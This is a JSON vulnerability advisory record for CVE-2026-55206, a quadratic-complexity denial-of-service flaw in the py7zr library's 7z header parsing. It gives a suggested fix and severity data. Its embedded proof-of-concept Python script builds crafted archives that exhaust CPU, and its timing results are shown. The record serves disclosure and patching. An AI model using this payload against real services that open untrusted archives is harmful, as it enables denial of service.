{"id":"CVE-2026-55206","aliases":["CVE-2026-55206","GHSA-h4gh-22qq-72r7","PYSEC-2026-2973"],"related":[],"kind":"vulnerability","state":"published","title":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","summary":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF\n      start_header = (struct.pack('<Q', 0)\n                      + struct.pack('<Q', len(header_data))\n                      + struct.pack('<I', next_crc))\n      out.write(struct.pack('<I', binascii.crc32(start_header) &\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.","format":"markdown","source":"ghsa"},{"lang":"es","text":"py7zr es una biblioteca y utilidad basada en Python para dar soporte a la compresión, descompresión, cifrado y descifrado de archivos 7zip. Antes de la versión 1.1.3, PackInfo._read() en archiveinfo.py utilizaba un patrón de suma acumulativa O(n^2) para valores de numstreams controlados por el atacante, analizados a partir de las cabeceras del archivo, lo que permitía que un archivo .7z manipulado causara un consumo excesivo de CPU durante SevenZipFile.init() antes de la extracción. Este problema se ha corregido en la versión 1.1.3.","source":"nvd"}],"published":"2026-06-19T21:16:33.000Z","modified":"2026-10-25T17:10:00.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-407"],"affected":[{"ranges":[{"version":"< 1.1.3","status":"affected"}],"vendor":"miurahr","product":"py7zr","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.3"}],"ecosystem":"PyPI","package":"py7zr","purl":"pkg:pypi/py7zr","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.3"}],"ecosystem":"PyPI","package":"py7zr","purl":"pkg:pypi/py7zr","source":"pysec"}],"references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/miurahr/py7zr","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/py7zr","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-h4gh-22qq-72r7","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55206","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-09T14:26:52.381Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55206","url":"https://www.cve.org/CVERecord?id=CVE-2026-55206","licence":"CVE Terms of Use","modified":"2026-07-09T14:26:55.698Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h4gh-22qq-72r7","url":"https://github.com/advisories/GHSA-h4gh-22qq-72r7","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:06.899Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55206","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2973","url":"https://osv.dev/vulnerability/PYSEC-2026-2973","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:08.005Z"}],"updatedAt":"2026-11-25T22:59:27.440Z","epss":{"score":0.00266,"percentile":0.20028,"date":"2026-12-01T12:00:22.000Z"}}